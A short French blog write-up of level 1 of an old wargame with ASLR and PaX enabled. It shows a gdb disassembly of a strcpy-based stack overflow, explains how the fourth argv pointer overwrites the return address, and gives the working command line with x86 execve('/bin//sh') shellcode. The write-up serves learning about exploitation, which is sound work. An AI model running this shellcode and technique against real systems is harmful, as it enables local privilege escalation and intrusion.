Hackeology : C'est un vieux challenge de 2010 plus disponible, je publie quand même le write-up (27/10/2010) qui trainait dans mes brouillons :). Enjoy.
Bonsoir!
J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.
La preuve:
level1@segment:~$ gdb ./level1
Reading symbols from /home/level1/level1...(no debugging symbols found)...done.
gdb$ disassemble main
Dump of assembler code for function main:
0x080483c4 <+0>: push ebp
0x080483c5 <+1>: mov ebp,esp
0x080483c7 <+3>: sub esp,0x10
0x080483ca <+6>: mov eax,DWORD PTR [ebp+0xc]
0x080483cd <+9>: mov DWORD PTR [esp+0x4],eax
0x080483d1 <+13>: lea eax,[ebp-0x8]
0x080483d4 <+16>: mov DWORD PTR [esp],eax
0x080483d7 <+19>: call 0x80482fc <strcpy@plt>
0x080483dc <+24>: mov eax,0x0
0x080483e1 <+29>: leave
0x080483e2 <+30>: ret
End of assembler dump.
gdb$ quit
Bon reste plus qu'à poutrer ça le plus simplement du monde :).
En reconstruisant la stack de tête, on a un truc du genre:
1
2
3
4
ret
sfp
buffer+4
buffer
On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.
1
2
level1@segment:~$ ~/level1 a b `printf"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`$
Pawned,
Pour le level2 ça va attendre encore un petit moment,
m_101